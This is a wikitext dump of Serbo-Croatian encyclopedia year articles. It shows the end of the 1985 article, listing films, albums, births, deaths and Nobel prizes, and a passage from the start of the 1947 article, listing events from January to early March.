"[[Tajvanska kanasta]]", "[[Držanje za vazduh]]", "[[Šest dana juna]]", "[[Žikina dinastija]]", "[[Za sreću je potrebno troje]]", "[[Horvatov izbor]]" (→ [[:Kategorija:Filmovi 1985.]]). * Neki domaći muzički/glazbeni albumi<ref>[https://www.discogs.com/search/?format_exact=LP&format_exact=Album&year=1985&decade=1980&country_exact=Yugoslavia Explore Yugoslavia LP Album from 1985 on Discogs]. discogs.com (pristup. 27. 6. 2016.)</ref>: ** Pop/rock: <small>[[Riblja čorba]]</small>: "Istina"; <small>[[Ekatarina Velika]]</small>: "Ekatarina Velika"; <small>[[Atomsko sklonište]]</small>: "Jednom u životu"; <small>[[Merlin]]</small>: "Kokuzna vremena"; <small>[[Parni valjak]]</small>: "Pokreni se!" i "Parni valjak" (kompilacija); <small>[[Prljavo kazalište]]</small>: "Zlatne godine"; <small>[[Haustor]]</small>: "Bolero"; <small>[[Plavi orkestar]]</small>: "Soldatski bal"; <small>[[Elvis J. Kurtović & His Meteors]]</small>: "Da bog da crk'o rok'n'rol"; <small>[[Zabranjeno pušenje]]</small>: "Dok čekaš sabah sa šejtanom"; <small>[[Vatreni poljubac]]</small>: "Iz inata"; <small>[[Divlje jagode (bend)|Divlje jagode]]</small>: "Vatra"; <small>[[Denis & Denis]]</small>: "Ja sam lažljiva"; <small>[[Partibrejkers]]</small>: "Partibrejkers I"; <small>[[Bajaga i instruktori]]</small>: "Sa druge strane jastuka"; <small>[[Film (glazbeni sastav)|Film]]</small>: "Signali u noći"; <small>[[Oliver Mandić]]</small>: "Dođe mi da vrisnem tvoje ime"; <small>[[Poslednja igra leptira]]</small>: "Opet ploča - Srce od meda"; <small>[[Videosex]]</small>: "Lacrimae Christi"; <small>[[Alisa (grupa)|Alisa]]</small>: "Alisa"; <small>[[Neki to vole vruće (bend)|Neki to vole vruće]]</small>: "Neki to vole vruće"; <small>[[Kerber (muzička grupa)|Kerber]]</small>: "Ratne igre"; <small>[[Dorian Gray (sastav)|Dorian Gray]]</small>: "Za tvoje oči"; <small>[[Laibach]]</small> (pet albuma) ** Zabavni: <small>[[Đorđe Balašević]]</small>: "003"; <small>[[Neda Ukraden]]</small>: "Hoću tebe"; <small>[[Magazin (grupa)|Magazin]]</small>: "Piši mi"; <small>[[Mišo Kovač]]</small>: "Ostala si uvijek ista"; ** Folk: <small>[[Halid Bešlić]]</small>: "Zbogom noći, zbogom zore"; <small>[[Miroslav Ilić]]</small>: "Zoveš me na vino"; <small>[[Mile Kitić]]</small>: "Ja neću ljepšu"; <small>[[Biljana Jevtić]]</small>: "Evo ti srce na dlanu"; <small>[[Nada Topčagić]]</small>: "Želim te, želim"; <small>[[Šaban Šaulić]]</small>: "Kafanska noć"; <small>[[Kemal Malovčić]]</small>: "Okreće se kolo sreće"; <small>[[Snežana Đurišić]]</small>: "Kako je bilo lepo/Pričaj mi pričaj"; <small>[[Radiša Urošević]]</small>: "Ej, suzo moja"; <small>[[Merima Njegomir]]</small>: "Opilo nas vino"; <small>[[Miloš Bojanić]]</small>: "Tako, tako, samo tako"; <small>[[Halid Muslimović]]</small>: "Učini bar jedan pogrešan korak"; ** Debitantski albumi (ne mora biti početak karijere): Merlin, Plavi orkestar, [[Hari Mata Hari]], [[Nervozni poštar]], Partibrejkers, Alisa, Neki to vole vruće, [[Ana Bekuta]], [[Radoslav Rodić Roki]], [[Stefan Milenković]]... (→ [[:Kategorija:Albumi 1985.]]) * Neka vozila uvedena 1985: <gallery> Ford Scorpio front 20070801.jpg|[[Ford Scorpio]] (Evropski auto godine '86) " 15 - ITALY - Parked automobiles out of Museo Storico Alfa Romeo Milan - in this pics Alfa 75.jpg|[[Alfa Romeo 75]] Fiat Croma front 20071102.jpg|[[Fiat Croma]] 1988 Peugeot 309 XL (6858743438).jpg|[[Peugeot 309]] </gallery> == Rođenja == {{glavni članak|:Kategorija:Rođeni 1985.}} === Januar/Siječanj &ndash; Mart/Ožujak === * [[2. 1.]] - [[Ivan Dodig]], tenisač * [[3. 1.]] - [[Damir Džombić]], bosanskohercegovački nogometaš * [[7. 1.]] - [[Lewis Hamilton]], vozač F1 * [[28. 1.]] - [[Slavica Ćukteraš]], srpska folk pevačica * [[29. 1.]] - [[Athina Onassis]] Roussel de Miranda, naslednica i sportska jahačica * [[2. 2.]] - [[Mario Grgurović]], hrvatski nogometaš * [[5. 2.]] - [[Cristiano Ronaldo]], portugalski fudbaler * [[16.2.]] - [[Bojana Knezevic]], srpski likovni umetnik i kreativni direktor * [[19. 2.]] - [[Kosta Perović]], srpski košarkaš. * [[28. 2.]] - [[Jelena Janković]], srpska teniserka * [[1. 3.]] - [[Luiza Bouharaoua]], hrvatska književnica * [[3. 3.]] - [[Tatjana Đorđević]] Cica, rok pevačica * [[12. 3.]] - [[Mirela Topčić - Miralem]], Miss-BiH [[2002]] * 12. 3. - [[Stromae]], belgijsko-ruandski muzičar * [[17. 3.]] - [[Stanija Dobrojević]], model, TV osoba * [[20. 3.]] - [[Tanja Savić]], pevačica * [[26. 3.]] - [[Keira Knightley]], glumica * [[28. 3.]] - [[Stanislas Wawrinka]], švajcarski teniser === April/Travanj &ndash; Jun/Lipanj === * [[3. 4.]] - [[Leona Lewis]], pevačica * [[17. 4.]] - [[Jo-Wilfried Tsonga]], francuski tenisač * [[20. 4.]] - [[Pavo Marković]], hrvatski vaterpolist * [[28. 4.]] - [[Neda Parmać]], hrvatska pjevačica * [[2. 5.]] - [[Lily Allen]], pevačica * 2. 5. - [[Kyle Busch]], vozač NASCAR († [[2026]]) * [[7. 5.]] - [[Milan Purović]], crnogorski fudbaler * [[20. 5.]] - [[Chris Froome]], biciklista * [[4. 6.]] - [[Lukas Podolski]], fudbaler * 4. 6. - [[Bar Refaeli]], model * [[10. 6.]] - [[Andy Schleck]], luksemburški biciklista * [[11. 6.]] - [[Ivan Bubalo]], bosanskohercegovački nogometaš * [[12. 6.]] - [[Blake Ross]], kokreator ''Mozilla Firefox'' * 12. 6. - [[Kendra Wilkinson]], model, TV osoba * [[17. 6.]] - [[Marcos Baghdatis]], kiparski teniser * [[20. 6.]] - [[Darko Miličić]], srpski košarkaš * [[21. 6.]] - [[Lana Del Rey]], kantautorka * [[24. 6.]] - [[Zana Novaković]], bosanskohercegovačka skijašica * [[27. 6.]] - [[Svetlana Kuznjecova]], teniserka * 27. 6. - [[Nico Rosberg]], vozač F1 * [[29. 6.]] - [[Damir Bičanić]], rukometaš * 29. 6. - [[Nikola Rokvić]], pevač * [[30. 6.]] - [[Michael Phelps]], američki plivač === Jul/Srpanj &ndash; Septembar/Rujan === * [[28. 7.]] - [[Brižitka Molnar]], odbojkašica * [[2. 8.]] - [[Ilija Bozoljac]], teniser * [[4. 8.]] - [[Lidija Bačić]], hrvatska pjevačica * [[27. 8.]] - [[Nikica Jelavić]], nogometaš * [[31. 8.]] - [[Muhamed ibn Salman]], krunski princ Saudi Arabije * [[9. 9.]] - [[Luka Modrić]], hrvatski nogometaš * [[12. 9.]] - [[Davor Štefanek]], srpski rvač * [[17. 9.]] - [[Tomáš Berdych]], češki teniser * 17. 9. - [[Aleksandar Ovečkin]], hokejaš * [[28. 9.]] - [[Bojan Jambrošić]], hrvatski pjevač * [[29. 9.]] - [[Dani Pedrosa]], motociklista === Oktobar/Listopad &ndash; Decembar/Prosinac === * [[1. 10.]] - [[Emerald Fennell]], glumica, rediteljka * [[8. 10.]] - [[Bruno Mars]], kantautor, muzičar * [[10. 10.]] - [[Marina and the Diamonds]], velška kantautorka * [[11. 10.]] - [[Michelle Trachtenberg]], glumica († [[2025]]) * [[24. 10.]] - [[Wayne Rooney]], engleski fudbaler * 24. 10. - [[Andro Švrljuga]], hrvatski nogometaš * [[25. 10.]] - [[Ciara]], američka pevačica * [[10. 11.]] - [[Aleksandar Kolarov]], fudbaler * [[11. 11.]] - [[Nina Seničar]], manekenka * [[21. 11.]] - [[Carly Rae Jepsen]], kantautorka * [[30. 11.]] - [[Kaley Cuoco]], glumica * [[1. 12.]] - [[Janelle Monáe]], američka kantautorka * [[3. 12.]] - [[Amanda Seyfried]], glumica * [[25. 12.]] - [[Dritan Abazović]], crnogorski premijer * [[26. 12.]] - [[Marija Jovanović]], crnogorska rukometašica === Kroz godinu === * [[Anđela Bešlić]], žrtva zločina († [[2002]]) == Smrti == {{glavni članak|:Kategorija:Umrli 1985.}} === Januar/Siječanj &ndash; Februar/Veljača === * [[4. 1.]] - [[Lovro Matačić]], dirigent (* [[1899]]) * [[5. 1.]] - [[Franjo Punčec]], tenisač (* [[1913]]) * [[18. 1.]] - [[Wilfrid Brambell]], irski glumac (* [[1912]]) * 18. 1. - [[Mahmoud Mohammed Taha]], sudanski religijski mislilac (* 1909) * [[19. 1.]] - [[Stipe Ugarković]], učesnik NOB, društveno-politički radnik (* [[1910]]) * [[26. 1.]] - [[Marija Lompar]], učesnica NOB, sanitetski pukovnik JNA (* [[1915]]) * [[11. 2.]] - [[Henry Hathaway]], filmski režiser (* [[1898]]) * [[15. 2.]] - [[Filip Bajković]], društveno-politički radnik NR Crne Gore, narodni heroj (* [[1910]]) * [[19. 2.]] - [[Ranko Rubežić]], beogradski kriminalac (* [[1951]]) * [[21. 2.]] - [[Louis Hayward]], britanski glumac (* [[1909]]) * [[22. 2.]] - [[Efrem Zimbalist]], violinista (* 1890) * [[27. 2.]] - [[Ernest Dubac]], hrvatski nogometaš (* [[1914.]]) * 27. 2. - [[Marko Vego]], profesor, povjesničar (* [[1907]]) === Mart/Ožujak &ndash; April/Travanj === * [[10. 3.]] - [[Konstantin Černjenko]], šef sovjetske partije i države (* [[1911]]) * 10. 3. - [[Israel Regardie]], okultista (* [[1907]]) * [[16. 3.]] - [[Milutin Tine Živković]], srpski harmonikaš (* [[1918]]) * [[28. 3.]] - [[Marc Chagall]], ruski slikar židovskog podrijetla (* [[1887]].) * [[11. 4.]] - [[Enver Hoxha]], prvi sekretar Partije rada Albanije (* [[1908]]) * [[21. 4.]] - [[Tancredo Neves]], izabrani predsednik Brazila (* [[1910]]) === Maj/Svibanj &ndash; Jun/Lipanj === * [[5. 5.]] - [[Juraj Jurjević]], hrvatski književnik (* [[1910]].) * [[6. 5.]] - [[Julie Vega]], filipinska dečja zvezda (* [[1968]]) * [[8. 5.]] - [[Theodore Sturgeon]], SF i horor pisac (* [[1918]]) * [[9. 5.]] - [[Edmond O'Brien]], glumac (* [[1915]]) * 9. 5. - [[Mate Staničić]], general-potpukovnik JNA, narodni heroj (* [[1920]]) * [[12. 5.]] - [[Jean Dubuffet]], likovni umetnik (* [[1901]]) * [[15. 5.]] - [[Jackie Curtis]], američka glumica (* [[1947]]) * [[25. 5.]] - [[Ante Abramović]], slikar (* [[1903]]) * [[26. 5.]] - Nikola Jančić, operski pevač (* [[1913]]) * [[18. 6.]] - [[Miloš Pavlović (fotograf)]] (* [[1910]]) * [[20. 6.]] - [[Dragan Šajnović]], violinista (* [[1907]]) * [[21. 6.]] - [[Matija Vuković]], srpski vajar (* [[1925]]) === Jul/Srpanj &ndash; Avgust/Kolovoz === * [[9. 7.]] - [[Milo Cipra]], skladatelj (* [[1906]]) * 9. 7. - [[Budimir Nešić]], psiholog, književnik (* [[1937]]) * 9. 7. - [[Charlotte (Luksemburg)|Charlotte]], bivša velika vojvotkinja Luksemburga (* [[1896]]) * jul - [[Miroslav Popović]], književnik (* 1926) * [[16. 7.]] - [[Heinrich Böll]], književnik, nobelovac (* [[1917]]) * [[18. 7.]] - [[Milan Kovačević (novinar)|Milan Kovačević]], novinar i putopisac ("Karavan") (* [[1915]]) * [[21. 7.]] - [[Zoran Radmilović]], srpski glumac. (* [[1933]].) * 21. 7. - [[Aleksandar Vučo]], srpski književnik. (* [[1897]].) * [[26. 7.]] - [[Milan Šijački]], ravnogorski emigrant (* [[1903]]) * [[6. 8.]] - [[Karl Diebitsch]], nacistički dizajner (* [[1899]]) * [[7. 8.]] - [[Pavao Anđelić]], historičar, arheolog (* [[1920]]) * [[8. 8.]] - [[Louise Brooks]], američka glumica (* [[1906]]) * [[13. 8.]] - [[Slobodan Aligrudić]], srpski glumac (* [[1934]]) * [[16. 8.]] - [[Ahmed Tuzlić]], filolog (* [[1906]]) * [[25. 8.]] - [[Samantha Smith]], mirovna aktivistkinja (* [[1972]]) === Septembar/Rujan &ndash; Oktobar/Listopad === * [[3. 9.]] - [[Dragan Mance]], fudbaler Partizana i idol Grobara. (* [[1962]].) * [[16. 9.]] - [[Aleksandar Rukavina]], vajar i slikar (* [[1934]]) * [[19. 9.]] - [[Italo Calvino]], književnik (* [[1923]]) * [[22. 9.]] - [[Axel Springer]], nemački izdavač (* [[1912]]) * [[30. 9.]] - [[Simone Signoret]], glumica (* [[1921]]) * [[2. 10.]] - [[Rock Hudson]], američki filmski i televizijski glumac (* [[1925]].) * [[10. 10.]] - [[Yul Brynner]], američki filmski glumac (* [[1920]].) * 10. 10. - [[Orson Welles]], američki redatelj, glumac, scenarist i producent (* [[1915]].) * [[24. 10.]] - [[László Bíró]], pronalazač hemijske olovke (* [[1899]]) * [[27. 10.]] - [[Branko Špoljar]], glumac (* [[1914]]) * [[29. 10.]] - [[Pavle Stefanović]], muzički kritičar i pisac (* [[1901]]) === Novembar/Studeni &ndash; Decembar/Prosinac === * [[4. 11.]] - [[Dragoljub Aleksić]], akrobata, filmski pionir (* [[1910]]) * [[9. 11.]] - [[Marie-Georges Pascal]], glumica (* [[1946]]) * [[15. 11.]] - [[Pero Car]], društveno-politički radnik SR Hrvatske, narodni heroj (* [[1920]]) * [[17. 11.]] - [[Lon Nol]], bivši predsednik kmerske Kambodže (* [[1913]]) * [[21. 11.]] - [[Ivo Serdar]], hrvatski glumac (* [[1933]].) * 21. 11. - [[Kristian Kreković]], slikar, arhitekt (* [[1901]]) * [[27. 11.]] - [[Fernand Braudel]], istoričar (* [[1902]]) * [[6. 12.]] - [[Vladimir Smirnov]] Volođa, general-potpukovnik JNA (* [[1899]]) * [[7. 12.]] - [[Robert Graves]], engleski pisac (* [[1895]].) * [[12. 12.]] - [[Anne Baxter]], glumica (* [[1923]]) * [[22. 12.]] - [[Dušan Egić]], general-potpukovnik JNA, narodni heroj (* [[1916]]) * [[26. 12.]] - [[Dian Fossey]], primatologinja (* [[1932]]) * [[27. 12.]] - [[Jean Rondeau]], vozač i konstruktor trkačkih automobila (* [[1946]]) * [[28. 12.]] - [[Ivo Vinski]], ekonomist, profesor (* [[1915]]) * [[29. 12.]] - [[Borislav Blagojević]], bivši rektor Beogradskog univerziteta (* [[1911]]) * [[31. 12.]] - [[Ricky Nelson]], glumac, pevač (* [[1940]]) === Kroz godinu === * [[Nikola Kečanin]], vajar (* 1913) * [[Milan Mučibabić]], književnik, novinar (* 1922) * [[Mahmut Bajraktarević]], matematičar, akademik (* [[1909]]) == Nobelova nagrada za 1985. godinu == * [[Nobelova nagrada za fiziku|'''Fizika''']]: [[Klaus von Klitzing]] (otkriće [[kvantni Hallov efekt|kvantizovanog Hallovog efekta]]) * [[Nobelova nagrada za kemiju|'''Kemija''']]: [[Herbert A. Hauptman]] i [[Jerome Karle]] (izuzetna dostignuća u razvoju [[direktne metode (kristalografija)|direktnih metoda]] za određivanje [[Kristalna struktura|kristalnih struktura]]) * [[Nobelova nagrada za fiziologiju ili medicinu|'''Fiziologija i medicina''']]: [[Michael S. Brown]] i [[Joseph L. Goldstein]] (otkrića u vezi regulacije metabolizma [[holesterol]]a) * [[Nobelova nagrada za književnost|'''Književnost''']]: [[Claude Simon]] (koji u svom romanu kombinuje pesničku i slikarsku kreativnost sa produbljenom svesti o vremenu u prikazu ljudskog stanja) * [[Nobelova nagrada za mir|'''Mir''']]: [[Međunarodni liječnici za prevenciju nuklearnog rata]] (IPPNW) * [[Nobelova nagrada za ekonomiju|'''Ekonomija''']]: [[Franco Modigliani]] (pionirske analize štednje i finansijskih tržišta) == Reference == * {{reflist}} ;Literatura * ''Collier's Year Book'' za 1985 (Microsoft Encarta 2004) * Jović, Dejan. ''Jugoslavija Država koja je odumrla''. Prometej Zagreb 2003 * [http://books.google.com/books?id=mLvmtKtUsIcC&printsec=frontcover&dq=Violations+of+the+Helsinki+accords,+Yugoslavia&cd=1#v=onepage&q&f=false ''Violations of the Helsinki accords, Yugoslavia'' (Google Books)] == Vanjske veze == * [http://osaarchivum.org/files/holdings/300/8/3/text/87-2-82.shtml The Belgrade Trial: Consequences Beyond the Courtroom]{{Dead link|date=September 2021 |bot=InternetArchiveBot |fix-attempted=yes }}, Andrejević, OSA-RFE * [http://osaarchivum.org/files/holdings/300/8/3/text/4-2-50.shtml Albanian Ethnic Study Focuses On Kosovo]{{Dead link|date=September 2021 |bot=InternetArchiveBot |fix-attempted=yes }}, Louis Zanga, Open Society Archives - Radio Free Europe * [http://osaarchivum.org/files/holdings/300/8/3/text/4-2-23.shtml Tirana Returns Kosovar Escapees To Yugoslavia]{{Dead link|date=September 2021 |bot=InternetArchiveBot |fix-attempted=yes }}, L.Zanga, OSA-RFE {{commonscat|1985}} [[Kategorija:1985.]] ku3qd72pu7wcs36hps9oflmxccsdl1g 0 23728 42602608 42528165 2026-05-27T21:21:08Z Alekol 2231 /* Događaji */ 42602608 wikitext text/x-wiki {{Godina}} {{Godina u drugim kalendarima|1947}} __NOTOC__ Godina '''1947''' ('''[[Rimski brojevi|MCMXLVII]]''') bila je [[redovna godina koja počinje u srijedu]]. == Događaji == === Januar/Siječanj === * decembar 1946 - mart 1947 - Veoma hladna zima i nestašica hrane u Evropi<ref>{{de}} [http://www.ndr.de/geschichte/hungerwinter166.html Hungerwinter 1946/47], ndr.de</ref>. * [[1. 1.]] - [[Saveznička okupacija Njemačke]]: američka i britanska zona su udružene u [[Bizona|Bizonu]], ili Bizoniju - jezgra [[Zapadna Njemačka|Zapadne Njemačke]]. * 1. 1. - Britanska [[Kolonijalna Nigerija|Nigerija]] dobila ograničenu autonomiju. * 1. 1. - ''National Coal Board'' preuzima nacionalizovanu proizvodnju uglja u Britaniji (zamenjena korporacijom 1987, nakon čega su ostaci industrije privatizovani). Rudnici su ove zime "zaleđeni", tako da je nestašica energije i hrane. * 1. 1. - Na snazi je Zakon o kanadskom državljanstvu, kojim je ono odvojeno od britanskog. * [[3. 1.]] - Otvaranje 80. Kongresa SAD - prvi put se prenosi preko televizije, kao i Trumanovo Obraćanje o stanju nacije tri dana kasnije. * [[4. 1.]] - Prvo izdanje njemačkog časopisa ''[[Der Spiegel]]''. * [[5. 1.]] - [[1. večiti derbi u fudbalu|Prvi derbi]] Crvena Zvezda - Partizan. * [[6. 1.]] - Radikalski političar Miloš Trifunović i još sedmorica osuđeni zbog "davanja informacija američkoj ambasadi" - Trifunović na osam godina, trojica na smrt - Milutin Stefanović, prevodilac ambasade SAD, major Željko Šušin i novinar Jovanović (Eric Pridonoff, ekonomski analitičar ambasade organizovao doušničku mrežu<ref>Jakovina, Američki komunistički saveznik, p. 194</ref>). * 6. 1. - [[Kineski građanski rat]]: završava se Marshallova misija, neuspešni pokušaj gen. [[George Marshall|Georgea Marshalla]] da posreduje između komunista i nacionalista u Kini. * [[8. 1.]] - Najniža temperatura u Beogradu je -24,5 stepeni; od 13. decembra do 11. januara samo pet dana nisu bili ledeni. Sledeći ledeni talasi: 21. januar - 2. februar i 15 - 21. februar. ** Najhladnija zima stoleća oko Severnog mora, mnoge reke su zaleđene. Saobraćaj je zaustavljen i na Savi i Dunavu. [[Datoteka:Free Territory of Trieste coat of arms.svg|mini|50px|Grb [[Slobodni Teritorij Trsta|ST Trst]]]] * [[10. 1.]] - Rezolucija Vijeća sigurnosti UN 16: priznato ustanovljenje [[Slobodni Teritorij Trsta|Slobodnog Teritorija Trsta]]. * [[12. 1.]] - Četvorica visokih dužnosnika [[NDH]] osuđena na smrt u Zagrebu: [[Blaž Lorković]], [[Božidar Cerovski]], [[Zdenko Blažeković]], [[Ivan Kirin]]. * 12. 1. - [[Mandatna Palestina]]: pripadnik [[Lehi (organizacija)|Lehija]] uveo kamion sa eksplozivom u britansku policijsku stanicu u Haifi - 4 mrtvih, valjda prvi napad kamionom-bombom. Kasnije ove godine Lehi podmeće bombe i šalje pisma-bombe u Britaniji. * [[15. 1.]] - U [[Los Angeles]]u pronađeno unakaženo telo Elisabet Short, kasnije prozvane ''[[Black Dahlia]]''. * [[16. 1.]] - [[Vincent Auriol]] postaje prvi predsednik [[Francuska četvrta republika|Francuske Četvrte republike]] (do 1954, a Četvrta republika traje do 1958). * januar - Na tajnom sastanku britanskog kabineta odlučeno da se razvije nuklearno naoružanje (prvi uspešan test 1952). * januar - Italijanski premijer [[Alcide De Gasperi]] u poseti SAD, dobija zajam 100 miliona dolara. * [[17. 1.]] - [[Datoteka:Coat of arms of Serbia (1947–2004).svg|30px]] Ustavotvorna skupština [[NR Srbija|NR Srbije]] donela [[Ustav NR Srbije]]. * 17. 1. - [[Datoteka:Coat of Arms of the Socialist Republic of Slovenia.svg|30px]] Ustavotvorna skupština [[NR Slovenija|NR Slovenije]] donela ustav. * [[18. 1.]] - [[Datoteka:Coat of Arms of the Socialist Republic of Croatia.svg|30px]] Ustavotvorni sabor [[NR Hrvatska|NR Hrvatske]] proglasio je Ustav NR Hrvatske. * [[19. 1.]] - Izbori u [[Poljska Narodna Republika|Poljskoj]], Demokratski blok (komunisti, socijalisti i dr.) zvanično dobija 80 % glasova, na osnovu čega preuzimaju vlast krajem meseca. * [[20. 1.]] - Uredbom Vlade FNRJ osnovana četiri pomorska poduzeća. U Rijeci osnovani [[Jadrolinija]] i Jugoslovenska pomorska agencija - Jugoagent (od 1972 Jadroagent), u Splitu [[Jadroplov]]. * 19. 1. - Grčki brod "Himara" udario u greben blizu Eubeje - stradalo je oko 400 ljudi. * [[21. 1.]] - [[George C. Marshall]] je novi državni sekretar SAD (do 1949), nakon [[James F. Byrnes|Jamesa F. Byrnesa]] (većinu posla obavlja podsekretar [[Robert A. Lovett]]). * [[21. 1.]] - Na suđenju u Sisku četvoro osuđeno na smrt - američkom državljaninu Ivanu Pintaru kazna je izmenjena. * [[22. 1.]] - [[Paul Ramadier]] je francuski premijer nakon kratkog [[Léon Blum|Blumovog]] perioda - komunisti ponovo u vladi. * 22. 1. - Losangeleska [[KTLA]] prva je komercijalna TV stanica u SAD zapadno od Misisipija, osma u toj zemlji. * [[25. 1.]] - U kancelariji engleskog komandanta u Napulju ubijen jugoslovenski konzul Vicko Glumčić i ranjen ataše Josip Engel,<ref>[https://www.novosti.rs/dodatni_sadrzaj/clanci.119.html:840332-saveznici-ratne-zlocince-nisu-isporucivali-odgovaraju-pocinjena-nedela-pozadina-ubistva-konzula-napulju Saveznici ratne zločince nisu isporučivali da odgovaraju za počinjena nedela: Pozadina ubistva konzula u Napulju]. novosti.rs 07. 01. 2020.</ref> od strane četnika. (NY Times) * [[26. 1.]] - KLM-ov [[DC-3]] pao pri poletanju iz Kopenhagena - 22 mrtvih, među kojima i švedski princ. * [[27. 1.]] - U Londonu postignut sporazum [[Aung San]] – [[Clement Attlee|Attlee]] o nezavisnosti [[Mjanmar|Burme]] (ostvareno nakon nepunih godinu dana). * [[31. 1.]] - Nota [[Федеративна Народна Република Југославија|FNRJ]] optužuje Vatikan za pomaganje ratnim zločincima u bekstvu. (NYT) === Februar/Veljača === [[Datoteka:Венеция-Джулия-Истрия.png|mini|150px|Proširenje FNRJ na zapadu]] * [[1. 2.]] - Padovi još dva DC-3: kod Lisabona sa 15-16 mrtvih i na Islandu sa 25. * [[2. 2.]] - Osnovano Oblasno narodno pozorište u [[Zaječar]]u, danas Pozorište "Zoran Radmilović". * [[3. 2.]] - U [[Jukon]]u izmereno -63&nbsp;°C, najniža temperatura u Severnoj Americi. * [[5. 2.]] - Komunista [[Bolesław Bierut]] postaje predsednik Poljske (do smrti 1956), premijer je socijalista [[Józef Cyrankiewicz]] (1947-52. i 1954-70). Vicepremijer, bivši predsednik vlade u izgnanstvu [[Stanisław Mikołajczyk]] daje ostavku, najesen beži iz zemlje. * 5. 2. - Zemljotres kod [[Prizren]]a. * 5 - 13. 2. - Proces protiv visokih nemačkih komandanata u Jugoslaviji. [[Alexander Löhr]] je streljan 26-og. * 6. 2. - Trojica šefova Jehovinih svjedoka u Zagrebu osuđeni na smrt, 11 na zatvor. (NYT, smrtne kazne izmenjene u zatvor) * [[8. 2.]] - Požar u plesnoj dvorani Karlslust u britanskoj zoni Berlina, stradalo je preko 80 ljudi. * [[10. 2.]] - [[Pariški mirovni ugovor (1947)|Pariški mirovni ugovor]] između Saveznika i nekih gubitnika: ** Italija predala veći deo [[Istra|Istre]] Jugoslaviji, gradove [[Rijeka]] i [[Zadar]], kao i otoke [[Cres]], [[Lošinj]], [[Lastovo]] i [[Palagruža]]. Ustanovljen [[Slobodni Teritorij Trsta]] sa dve zone. [[Istarski egzodus]] Talijana. Italija gubi i Libiju i Somaliju, Dodekaneze i koncesiju u Tjencinu, nekoliko sela dato Francuskoj, priznata nezavisnost Albanije. ** Finska: granice od 1. januara 1941, plus potvrđen gubitak Petsama (1944). ** Mađarska: granice od pre 1938, plus gubitak tri sela kod Bratislave. ** Rumunija: potvrđen povratak Severne Transilvanije i gubitak južne Dobrudže, Besarabije i severne Bukovine. ** Bugarska: granice od 1. januara 1941, tj. ostaje joj južna Dobrudža. ** Ratne reparacije: FNRJ određeno 125 miliona dolara od Italije, 70 od Mađarske i 25 od Bugarske. * 10. 2. - U [[Pula|Puli]] ubijen britanski brigadir De Winton, počinilac je žena iz komiteta odlazećih Italijana. [[Datoteka:Christian Dior (Moscow exhibition, 2011) 26.jpg|mini|150px|''New Look'']] * [[12. 2.]] - [[Christian Dior]] predstavlja ''The "New Look"'' u ženskoj modi. * 12. 2. - Panglonški sporazum između prelazne burmanske vlade i predstavnika naroda Kaćin, [[Čin (narod)|Ćin]] i [[Šan (narod)|Šan]] o jedinstvu Burme sa autonomijom graničnih područja (Dan saveza u današnjem Mjanmaru). * 12. 2. - Sihote-alinski meteorit: na ruskom dalekom istoku je pao veliki [[Metalni meteoriti|metalni meteor]], pronađeno je 23 tone ostataka. * februar - [[Svici sa Mrtvog mora]]: beduini su prošle jeseni i zime pronašli sedam svitaka. * 16. 2. - Šestorica nemačkih generala osuđeni na smrt u FNRJ. * [[17. 2.]] - [[Hladni rat]]: [[Glas Amerike]] emituje program u SSSR. * [[20. 2.]] - Britanski premijer Attlee objavljuje da će [[Britanska Indija]] dobiti punu samoupravu najkasnije do 30. juna 1948, a sudbina [[Kneževska država|Kneževskih država]] će biti odlučena nakon preciziranja datuma. * 20. 2. - U sklopu projekta Hermes američka vojska raketom [[V-2]] šalje [[voćna mušica|voćne mušice]] kao prve životinje u svemir. * [[21. 2.]] - Protestna nota vlade FNRJ Kontrolnom savetu za Austriju o pograničnim incidentima na jugoslovensko-austrijskoj granici. * 21. 2. - Edwin Land u Njujorku predstavio prvu instant ("[[Polaroid]]") kameru. * 22. 2. - Note FNRJ optužuju Austriju za prebacivanje bandi i naseljavanje Nemaca u Korušku. * [[23. 2.]] - Osnovana [[Međunarodna organizacija za standardizaciju]] (ISO). * 23. 2. - [[Lucky Luciano]] pritvoren na Kubi pod pritiskom iz SAD i ubrzo vraćen u Italiju, gde provodi ostatak života. * 23. 2. - New York Times izveštava da je pretučen opozicioni političar [[Dragoljub Jovanović]]. * [[24. 2.]] - Argentinski predsednik [[Juan Perón]] dao povelju radničkih prava. * [[25. 2.]] - Savezničko kontrolno veće i formalno ukida nemačku državu [[Pruska]]. Njena bivša provincija [[Brandenburg]], zapadno od Odre, postaje država u sovjetskoj zoni itd. * 25. 2. - Austrijska himna ''Land der Berge, Land am Strome'' dobila je stihove [[Paula Preradović|Paule Preradović]]. * 25. 2. - Železnička nesreća na liniji Hachikō u Japanu: u iskliznuću prepunih drvenih vagona stradalo je 184 ljudi. * [[28. 2.]] - [[Incident 228]] (ili Masakr 228) na [[Tajvan]]u - pobuna lokalnog stanovništva zbog ponašanja [[Kuomintang]]ovih vlasti. Ugušena je po cenu 18 - 28.000 mrtvih. * [[februar]] - Dva zajednička sovjetsko-jugoslovenska preduzeća: JUSTA, za avio-saobraćaj i JUSPAD, za rečni parobrodski saobraćaj) * februar, krajem - Završava se američka operacija Highjump, na Antarktiku je osnovana baza Little America IV (tema dokumentarca ''The Secret Land'', nagrađenog oskarom 1949). U sledećoj sezoni su započete operacije Windmill i Ronneova operacija. * februar-mart - U FNRJ je u dva navrata smanjivana porcija hleba. (NYT 7. 3.) === Mart/Ožujak === * [[1. 3.]] - Sa sutrašnjim datumom počinje izlaziti "Riječki list", od 1954. "[[Novi list]]". * 1. 3. - [[Međunarodni monetarni fond]] započinje finansijske operacije - prvi zajam je dat Francuskoj, u maju. * 1. 3. - Lehi i [[Irgun]] izvode niz napada protiv britanskih meta u Palestini, u napadu na oficirski klub u Jerusalimu ubijeno 12 Britanaca - sutradan je uvedeno ratno stanje (do 17-og). * 1. 3. - [[Chiang Kai-shek]] preuzima premijersku poziciju od svog šuraka [[T. V. Soong]]a (do aprila). * [[2. 3.]] - U indijskoj provinciji Pandžab je pala unionistička vlada, kontrolu preuzima lokalni britanski guverner. Dolazi do međuverskih nereda. * [[3. 3.]] - Maršal [[Nikolaj Bulganjin]] je ministar oružanih snaga SSSR nakon Staljina (do 1949). * [[4. 3.]] - Sastanak Politbiroa CK KPJ sa rukovodstvom CK KP Srbije - [[Blagoje Nešković]] kritikovan zbog rezervisanosti prema petogodišnjem planu i "oportunizma u ostvarivanju otkupa" (smanjivanje količina). * 4. 3. - Ugovor iz Dankerka između V. Britanije i Francuske - savez u slučaju nemačkog napada (u stvari se misli na SSSR). [[Datoteka:Small Steps Panorama.jpg|mini|250px|Panorama sa V-2]] * [[7. 3.]] - Američki eksperimenti sa raketom 